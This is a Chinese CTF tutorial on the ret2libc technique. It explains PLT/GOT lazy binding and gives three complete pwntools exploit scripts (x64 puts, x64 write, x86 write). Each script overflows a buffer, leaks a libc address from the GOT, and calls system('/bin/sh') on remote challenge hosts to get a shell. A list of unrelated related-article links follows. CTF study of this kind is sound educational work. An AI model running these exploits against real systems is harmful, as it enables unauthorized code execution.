CTF-PWN: ret2libc
plt表与got表是什么?
PLT
PLT (Procedure Linkage Table) 表在 ELF 文件中的代码段(.text
)中,它看起来是这样的:
.plt:0x00400530 <__libc_start_main@plt>:jmp QWORD PTR [rip + 0x200602] # 0x601608 <__libc_start_main@got.plt>push 0x0jmp 0x4005100x00400540 <puts@plt>:jmp QWORD PTR [rip + 0x2005f2] # 0x601638 <puts@got.plt>push 0x1jmp 0x4005100x00400550 <printf@plt>:jmp QWORD PTR [rip + 0x2005e2] # 0x601648 <printf@got.plt>push 0x2jmp 0x400510; ... 其他外部函数的 PLT 条目
从上面的代码可以看到,PLT 表由多个条目组成,每个条目对应一个外部函数。每个条目的结构如下:
-
jmp
指令:- 这条指令用于跳转到 GOT (Global Offset Table) 表中该函数的地址。
- 它实际上是跳转到 GOT 表中对应函数的条目。
-
push
指令:- 这条指令将一个立即数压入栈中,这个立即数标识了该函数在 PLT 表中的索引。
-
jmp
指令:- 这条指令跳转到 PLT 表的开头,即
0x400510
。 - 这里是 PLT 表的一个通用部分,用于处理函数的首次调用。
- 这条指令跳转到 PLT 表的开头,即
当程序第一次调用一个外部函数时,会执行 PLT 表中该函数的条目。首先跳转到 GOT 表中该函数的条目,由于这是首次调用,GOT 表中保存的是一个特殊地址,会触发动态链接器的介入。动态链接器会查找该函数的实际地址,并将其写入 GOT 表中。之后,程序就可以直接从 GOT 表中获取该函数的地址,无需再次查找。
GOT
GOT (Global Offset Table) 表在 ELF 文件的数据段(.data
)中,它看起来是这样的:
.got.plt:0x00601608 <__libc_start_main@got.plt>:0x00007ffff7a2d830 ; 这里存放了 __libc_start_main 函数的实际地址0x00601618 <__gmon_start__@got.plt>:0x0000000000000000 ; 这里初始值为 0,表示还未解析0x00601628 <__cxa_finalize@got.plt>:0x00007ffff7a12b10 ; 这里存放了 __cxa_finalize 函数的实际地址0x00601638 <puts@got.plt>:0x00007ffff7a68c10 ; 这里存放了 puts 函数的实际地址0x00601648 <printf@got.plt>:0x00007ffff7a57e50 ; 这里存放了 printf 函数的实际地址; ... 其他外部函数的 GOT 条目
从上面的代码可以看到,GOT 表由多个条目组成,每个条目对应一个外部函数。每个条目存放着该函数的实际地址。
当程序第一次调用一个外部函数时,会执行 PLT 表中该函数的条目。PLT 表中的跳转指令会跳转到 GOT 表中该函数的条目。由于这是首次调用,GOT 表中保存的是一个特殊地址,会触发动态链接器的介入。
动态链接器会查找该函数的实际地址,并将其写入 GOT 表中对应的条目。之后,程序就可以直接从 GOT 表中获取该函数的地址,无需再次查找。
需要注意的是,GOT 表中的某些条目可能初始值为 0,表示还未解析。比如 __gmon_start__@got.plt
就是这样的。这些条目可能在程序运行过程中才会被动态链接器填充。
通过理解 GOT 表的结构,我们可以在 pwn 题中利用 GOT 表进行各种漏洞利用技巧,如 GOT 表覆写、GOT 表泄露等。
调用流程
当程序第一次调用一个外部函数时,会触发动态链接器的介入。这个过程主要包括以下步骤:
-
程序跳转到 GOT 表:
- 程序在 PLT 表中查找到对应的外部函数,并跳转到 GOT 表中该函数的条目。
- 由于这是程序第一次调用该函数,GOT 表中保存的初始值通常为 0 或者一个特殊地址。
-
动态链接器被调用:
- 当 CPU 执行跳转指令时,发现 GOT 表中的值异常,就会触发动态链接器的介入。
-
动态链接器查找函数地址:
- 动态链接器会查找该外部函数的实际地址。它会在程序链接时指定的共享库中搜索该函数。
-
动态链接器填充 GOT 表:
- 动态链接器找到该函数的实际地址后,会将其写入到 GOT 表中对应的条目。
-
程序继续执行:
- 动态链接器完成填充 GOT 表后,程序就可以继续执行,并从 GOT 表中直接获取函数地址,无需再次查找。
一般步骤
- 1.获取足够的可控溢出区
- 2.使用函数输出任意函数.got地址,计算出libc基地址,system地址和
/bin/sh
位置 - 2.按照题目架构调用约定构造system(‘/bin/sh’)
有效负载示例
x64
puts
from pwn import *
from LibcSearcher import LibcSearchercontext.arch = 'amd64'
context.log_level = 'debug'
pwn = ELF('./pwn')
libc = ELF('./libc')
rop1 = ROP(pwn)ret = rop1.ret
pad = 0x20 + 8
rop1.raw(b'a' * pad)
rop1.call('puts', [pwn.got['puts']])
rop1.call('main')
print(rop1.dump())
poc1 = rop1.chain()io = remote('node5.buuoj.cn', 28739)
io.recvuntil('this time?')
io.sendline(poc1)
io.recvuntil(b'Ok.See you!')
know_addr = packing.u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(know_addr))'''
libc = LibcSearcher("puts", know_addr)
libc_base = know_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
bin_addr = libc_base + libc.dump("str_bin_sh")
'''libc_base = know_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search(b'/bin/sh')) rop2 = ROP(pwn)
rop2.raw(b'a' * pad)
rop2.raw(ret)
rop2.call(system_addr, [bin_addr])
print(rop2.dump())
poc2 = rop2.chain()io.recvuntil('this time?')
io.sendline(poc2)
io.interactive()
write
from pwn import*
from LibcSearcher import*r=remote('node3.buuoj.cn',25003)
elf=ELF('./level3_x64')main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1write_got=elf.got['write']
write_plt=elf.plt['write']payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print hex(write_addr)libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
print hex(offset)system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.sendline(payload)
r.interactive()
x86
write
from pwn import *
from LibcSearcher import LibcSearcher
context.arch = 'i386'
context.log_level = 'debug'
pwn = ELF('./pwn')
libc = ELF('./libc')
rop1 = ROP(pwn) pad = 0x88 + 4
rop1.raw(b'a' * pad)
rop1.call('write', [1, pwn.got['write'], 4])
rop1.call('main')
print(rop1.dump())
poc1 = rop1.chain() io = remote('node5.buuoj.cn', 25129)
io.sendline(poc1)
know_addr = packing.u32(io.recv(4)) libc = LibcSearcher("write",know_addr)
libc_base = know_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
bin_addr = libc_base + libc.dump("str_bin_sh")'''
libc_base = know_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search(b'/bin/sh'))
'''rop2 = ROP(pwn)
rop2.raw(b'a' * pad)
rop2.call(system_addr,[bin_addr])
print(rop2.dump())
poc2 = rop2.chain() io.sendline(poc2)
io.interactive()
相关文章:
CTF-PWN: ret2libc
plt表与got表是什么? PLT PLT (Procedure Linkage Table) 表在 ELF 文件中的代码段(.text)中,它看起来是这样的: .plt:0x00400530 <__libc_start_mainplt>:jmp QWORD PTR [rip 0x200602] # 0x601608 <__libc_start_maingot.plt>push 0x0jmp 0x4005100…...

SickOs: 1.1靶场学习小记
学习环境 kali攻击机:Get Kali | Kali Linux vulnhub靶场:https://download.vulnhub.com/sickos/sick0s1.1.7z 靶场描述: 这次夺旗赛清晰地模拟了在安全环境下如何对网络实施黑客策略从而入侵网络的过程。这个虚拟机与我在进攻性安全认证专…...

【ArcGIS Pro实操第10期】统计某个shp文件中不同区域内的站点数
统计某个shp文件中不同区域内的站点数 方法 1:使用“空间连接 (Spatial Join)”工具方法 2:使用“点计数 (Point Count)”工具方法 3:通过“选择 (Select by Location)”统计方法 4:通过“Python 脚本 (ArcPy)”实现参考 在 ArcGI…...
JavaScript中类数组对象及其与数组的关系
JavaScript中类数组对象及其与数组的关系 1. 什么是类数组对象? 类数组对象是指那些具有 length 属性且可以通过非负整数索引访问元素的对象。虽然这些对象看起来像数组,但它们并不具备真正数组的所有特性,例如没有继承 Array.prototype 上…...

基础入门-Web应用架构搭建域名源码站库分离MVC模型解析受限对应路径
知识点: 1、基础入门-Web应用-域名上的技术要点 2、基础入门-Web应用-源码上的技术要点 3、基础入门-Web应用-数据上的技术要点 4、基础入门-Web应用-解析上的技术要点 5、基础入门-Web应用-平台上的技术要点 一、演示案例-域名差异-主站&分站&端口站&…...
C#:时间与时间戳的转换
1、将 DateTime 转换为 Unix 时间戳(秒) public static long DateTimeToUnixTimestamp(DateTime dateTime) {// 定义UTC纪元时间DateTime epochStart new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);// 计算从UTC纪元时间到指定时间的总秒数Tim…...
QT的exec函数
在Qt框架中,exec()方法是QDialog类(及其子类)的一个成员函数,用于以模态(modal)方式显示对话框。当exec()被调用时,它会启动一个局部的事件循环,这个循环会阻塞对对话框之外的其他窗…...

Css—实现3D导航栏
一、背景 最近在其他的网页中看到了一个很有趣的3d效果,这个效果就是使用css3中的3D转换实现的,所以今天的内容就是3D的导航栏效果。那么话不多说,直接开始主要内容的讲解。 二、效果展示 三、思路解析 1、首先我们需要将这个导航使用一个大…...

树莓集团:以人工智能为核心,打造数字化生态运营新典范
在当今数字化浪潮席卷全球的背景下,各行各业都在积极探索数字化转型的路径。作为数字产业的领军者,树莓集团凭借其深厚的技术积累和创新理念,在人工智能、大数据、云计算等前沿技术领域不断突破,成功打造了一个以人工智能为核心的…...

2024年首届数证杯 初赛wp
“数证杯”电子数据取证分析大赛致力于成为全国第一大电子数据取证分析大赛,面向所有网络安全从业人员公开征集参赛选手。参赛选手根据所属行业报名参赛赛道,比赛设置冠军、亚军、季军奖。所涉及行业包括能源、金融、通信、取证、安全等企业以及各类司法…...

2017 NHOI小学(C++)
A. 吃西瓜(2017 NHOI小学 1) 问题描述: 炎热的夏天来的可真快,小花猫和编程兔决定去买一个又大又甜的西瓜。可是小花和编程兔是两只非常奇怪的动物,都是偶数的爱好者,它们希望把西瓜切成两半后,每一部分的…...
【一维DP】【三种解法】力扣983. 最低票价
在一个火车旅行很受欢迎的国度,你提前一年计划了一些火车旅行。在接下来的一年里,你要旅行的日子将以一个名为 days 的数组给出。每一项是一个从 1 到 365 的整数。 火车票有 三种不同的销售方式 : 一张 为期一天 的通行证售价为 costs[0] …...

【头歌实训:递归实现斐波那契数列】
头歌实训:递归实现斐波那契数列 文章目录 任务描述相关知识递归相关知识递归举例何时使用递归定义是递归的数据结构是递归的问题的求解方法是递归的 编程要求测试说明源代码: 任务描述 本关任务:递归求解斐波那契数列。 相关知识 为了完成…...

IntelliJ IDEA配置(mac版本)
用惯了eclipse开发java的小伙伴们,初次接触IntelliJ IDEA可能会和我一样,多少有些不适感,在使用过程中总想着eclipse得对应功能。 接下来,我就总结下我日常开发中遇到的常用配置(不包括快捷键,我认为每个人…...

CSAPP Cache Lab(缓存模拟器)
前言 理解高速缓存对 C 程序性能的影响,通过两部分实验达成:编写高速缓存模拟器;优化矩阵转置函数以减少高速缓存未命中次数。Part A一开始根本不知道要做什么,慢慢看官方文档,以及一些博客,和B站视频&…...
【机器学习】机器学习的基本分类-监督学习-逻辑回归-对数似然损失函数(Log-Likelihood Loss Function)
对数似然损失函数(Log-Likelihood Loss Function) 对数似然损失函数是机器学习和统计学中广泛使用的一种损失函数,特别是在分类问题(例如逻辑回归、神经网络)中应用最为广泛。它基于最大似然估计原理,通过…...

51c自动驾驶~合集35
我自己的原文哦~ https://blog.51cto.com/whaosoft/12206500 #纯视觉方案的智驾在大雾天还能用吗? 碰上大雾天气,纯视觉方案是如何识别车辆和障碍物的呢? 如果真的是纯纯的,特头铁的那种纯视觉方案的话。 可以简单粗暴的理解为…...
网络安全体系与网络安全模型
4.1 网络安全体系概述 4.1.1 网络安全体系概述 一般面言,网络安全体系是网络安全保障系统的最高层概念抽象,是由各种网络安全单元按照一定的规则组成的,共同实现网络安全的目标。网络安全体系包括法律法规政策文件、安全策略、组织管理、技术…...

antd table 自定义表头过滤表格内容
注意:该功能只能过滤可一次性返回全部数据的表格,通过接口分页查询的请自主按照需求改动哈~ 实现步骤: 1.在要过滤的列表表头增加过滤图标,点击图标显示浮窗 2.浮窗内显示整列可选选项,通过勾选单选或者全选、搜索框来…...
Elasticsearch实战:从搜索到数据分析的全面应用指南
Elasticsearch(简称 ES)是一个强大的分布式搜索引擎和分析工具,它能够快速处理海量数据,并提供全文检索、结构化搜索、数据分析等功能。在现代系统中,它不仅是搜索的核心组件,也是数据分析的有力工具。 本文…...

网络编程(Modbus进阶)
思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
Java如何权衡是使用无序的数组还是有序的数组
在 Java 中,选择有序数组还是无序数组取决于具体场景的性能需求与操作特点。以下是关键权衡因素及决策指南: ⚖️ 核心权衡维度 维度有序数组无序数组查询性能二分查找 O(log n) ✅线性扫描 O(n) ❌插入/删除需移位维护顺序 O(n) ❌直接操作尾部 O(1) ✅内存开销与无序数组相…...

《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》
在注意力分散、内容高度同质化的时代,情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现,消费者对内容的“有感”程度,正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中࿰…...

MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...

【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多,如何一步解决,采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集(每个目录代表一个类别,目录下是该类别的所有图片),你需要进行以下配置步骤&#x…...

零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...

免费PDF转图片工具
免费PDF转图片工具 一款简单易用的PDF转图片工具,可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件,也不需要在线上传文件,保护您的隐私。 工具截图 主要特点 🚀 快速转换:本地转换,无需等待上…...